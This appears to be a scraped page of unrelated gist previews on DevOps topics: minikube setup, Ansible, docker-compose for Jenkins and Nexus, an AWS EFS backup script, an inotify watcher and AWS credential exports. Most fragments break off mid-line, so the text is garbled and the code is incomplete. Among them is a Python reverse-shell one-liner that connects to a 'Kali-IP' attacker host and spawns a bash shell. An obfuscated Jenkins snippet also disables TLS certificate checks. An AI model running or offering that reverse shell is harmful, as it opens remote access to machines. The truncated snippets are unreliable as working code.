Install minikube:
# curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.18.0/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/
Install kubectl:
--- | |
- hosts: newnode | |
remote_user: root | |
become: yes | |
become_method: sudo | |
tasks: | |
- command: bash -c "uname -r | grep ^4." | |
register: kernelversion | |
ignore_errors: yes |
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' |
# Generates list of current jenkins jobs. | |
# pip install --user python-jenkins | |
python -c "(lambda __y, __print, __g: [[[[[(lambda __after: (main(), __after())[1] if (__name__ == '__main__') else __after())(lambda: None) for __g['main'], main.__name__ in [(lambda : (lambda __l: [[[[[(lambda __items, __sentinel, __after: __y(lambda __this: lambda: (lambda __i: [(__print(__l['d'].get('name')), __this())[1] for __l['d'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(__l['jobs']), [], lambda: None) for __l['jobs'] in [(__l['server'].get_jobs())]][0] for __l['server'] in [(jenkins.Jenkins(__l['args'].server, __l['args'].username, __l['args'].password))]][0] for ssl._create_default_https_context in [(ssl._create_unverified_context)]][0] for __l['context'] in [(ssl._create_unverified_context())]][0] for __l['args'] in [(parser())]][0])({}), 'main')]][0] for __g['parser'], parser.__name__ in [(lambda : (lambda __l: [(__l['parser'].add_argument('--server', default='https://je |
nexus: | |
build: ./nexus | |
ports: | |
- "18081:8081" | |
jenkins: | |
build: ./jenkins | |
ports: | |
- "18080:8080" | |
links: |
Suppose you want to inject a credential into a Pipeline script. The cloudbees note does not include Pipeline script examples. https://support.cloudbees.com/hc/en-us/articles/203802500-Injecting-Secrets-into-Jenkins-Build-Jobs
The Jenkins Pipeline Docs' description of the git push
method doesn't have an example using injected credentials.
(https://jenkins.io/doc/pipeline/examples/#push-git-repo)
The Snippet generator is helpful, but not not if you try to follow the instructions at: https://wiki.jenkins-ci.org/display/JENKINS/Credentials+Binding+Plugin
import boto3 | |
import time | |
region = 'eu-west-1' | |
user_data_script = """#!/bin/bash | |
instanceid=$(curl http://169.254.169.254/latest/meta-data/instance-id) | |
cd / | |
mkdir moodledata | |
mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2 fs-xxxxxxxxxxc.efs.eu-west-1.amazonaws.com:/ moodledata | |
tar czf mooodledata-backup-$(date +%d-%m-%Y_%H-%M).tar.gz /moodledata | |
aws s3 mv mooodledata-backup-*.tar.gz s3://xxxxxxxxx/ |
#!/usr/bin/env python | |
"""Use inotify to watch a directory and execute a command on file change. | |
Watch for any file change below current directory (using inotify via pyinotify) | |
and execute the given command on file change. | |
Just using inotify-tools `while inotifywait -r -e close_write .; do something; done` | |
has many issues which are fixed by this tools: | |
* If your editor creates a backup before writing the file, it'll trigger multiple times. | |
* If your directory structure is deep, it'll have to reinitialize inotify after each change. |
###################### | |
# Create The Cluster # | |
###################### | |
# Tested with minikube v0.30 | |
minikube start \ | |
--vm-driver virtualbox \ | |
--cpus 2 \ | |
--memory 10240 |
# Generate AWS credentials through https://console.aws.amazon.com/iam/home#/security_credential if you do NOT have them already | |
export AWS_ACCESS_KEY_ID=[...] # Replace [...] with the AWS Access Key ID | |
export AWS_SECRET_ACCESS_KEY=[...] # Replace [...] with the AWS Secret Access Key | |
export AWS_DEFAULT_REGION=us-east-2 | |
# If Windows, use `tr '\r\n' ', '` instead of `tr '\n' ','` | |
export ZONES=$(aws ec2 describe-availability-zones \ |